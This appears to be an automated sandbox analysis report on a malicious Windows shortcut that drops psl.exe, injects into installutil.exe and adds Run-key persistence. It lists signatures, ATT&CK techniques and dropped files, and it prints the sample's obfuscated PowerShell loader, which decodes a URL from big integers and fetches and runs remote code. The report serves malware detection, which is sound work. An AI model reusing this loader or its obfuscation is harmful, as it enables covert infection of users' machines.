Analysis
- max time kernel
149s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
29/07/2026, 11:41
General
- Target photov_758297625492.lnk
- Size 2KB
- Sample260729-ntwvaashph
- SHA256 490d18fa41a2c8fe3e361ba6edfbd9c4cc74b2eb5ca4cded1ed09d2b0da2fb71
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 24 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_758297625492.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$pnzyaswt=41;$lohdo3aj2=[bigint]::Parse('64128114331088523111027400896527225069883');$ifeepgq2ip=[bigint]::Parse('64127521163998065012060205839258076233170');$lohdo3aj2=$lohdo3aj2-$ifeepgq2ip;$c9jpa=@();while($lohdo3aj2 -gt 0){$c9jpa+=[char][int]([bigint]::Remainder($lohdo3aj2,256));$lohdo3aj2=[bigint]::Divide($lohdo3aj2,256)};.([scriptblock]::Create((irm(-join$c9jpa))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$pnzyaswt=41;$lohdo3aj2=[bigint]::Parse('64128114331088523111027400896527225069883');$ifeepgq2ip=[bigint]::Parse('64127521163998065012060205839258076233170');$lohdo3aj2=$lohdo3aj2-$ifeepgq2ip;$c9jpa=@();while($lohdo3aj2 -gt 0){$c9jpa+=[char][int]([bigint]::Remainder($lohdo3aj2,256));$lohdo3aj2=[bigint]::Divide($lohdo3aj2,256)};.([scriptblock]::Create((irm(-join$c9jpa))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\Documents\nzcpc_zombd_upd_ofyar995dff6640004d\psl.exe"C:\Users\Admin\Documents\nzcpc_zombd_upd_ofyar995dff6640004d\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
__PSScriptPolicyTest_0gtbtaqw.hr5.ps1
aje_gwuanmpk3_ptfqgp.zip
VCRUNTIME140.dll
VCRUNTIME140_1.dll
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
DCRCVDrv.sys
memory/1360-84-0x0000000000010000-0x000000000003D000-memory.dmp
memory/2440-105-0x00007FF6EF910000-0x00007FF6EF925000-memory.dmp
memory/3888-1-0x00000280B6890000-0x00000280B68A0000-memory.dmp
memory/3888-13-0x00000280B78F0000-0x00000280B7914000-memory.dmp
memory/3888-12-0x00000280B78F0000-0x00000280B791A000-memory.dmp
memory/3888-18-0x00000280B7930000-0x00000280B7942000-memory.dmp
memory/3888-11-0x00000280B6890000-0x00000280B68A0000-memory.dmp
memory/3888-10-0x00000280B7A70000-0x00000280B7C32000-memory.dmp
memory/3888-2-0x00000280B7280000-0x00000280B72A2000-memory.dmp
memory/3888-0-0x00000280B6890000-0x00000280B68A0000-memory.dmp
memory/3888-14-0x00000280B6890000-0x00000280B68A0000-memory.dmp
memory/3888-15-0x00000280B8170000-0x00000280B8698000-memory.dmp
memory/3888-16-0x00000280B78D0000-0x00000280B78DA000-memory.dmp
memory/4080-197-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-167-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-107-0x0000000004FD0000-0x0000000004FFC000-memory.dmp
memory/4080-125-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-213-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-229-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-227-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-225-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-223-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-1367-0x0000000006A40000-0x0000000006FE4000-memory.dmp
memory/4080-221-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-219-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-217-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-211-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-209-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-207-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-205-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-203-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-201-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-199-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-104-0x0000000000820000-0x0000000000890000-memory.dmp
memory/4080-195-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-193-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-191-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-189-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-187-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-185-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-184-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-181-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-180-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-177-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-175-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-173-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-171-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-169-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-106-0x0000000004F70000-0x0000000004F8A000-memory.dmp
memory/4080-165-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-163-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-161-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-159-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-157-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-155-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-153-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-151-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-149-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-147-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-145-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-143-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-141-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-139-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-215-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-137-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-135-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-133-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-131-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-129-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-127-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-123-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-121-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-119-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-117-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-115-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-113-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-111-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-109-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-108-0x0000000004FD0000-0x0000000004FF6000-memory.dmp
memory/4080-1363-0x0000000005260000-0x00000000052C6000-memory.dmp
memory/4080-1366-0x00000000063F0000-0x0000000006482000-memory.dmp
memory/4416-563-0x0000000000400000-0x0000000000470000-memory.dmp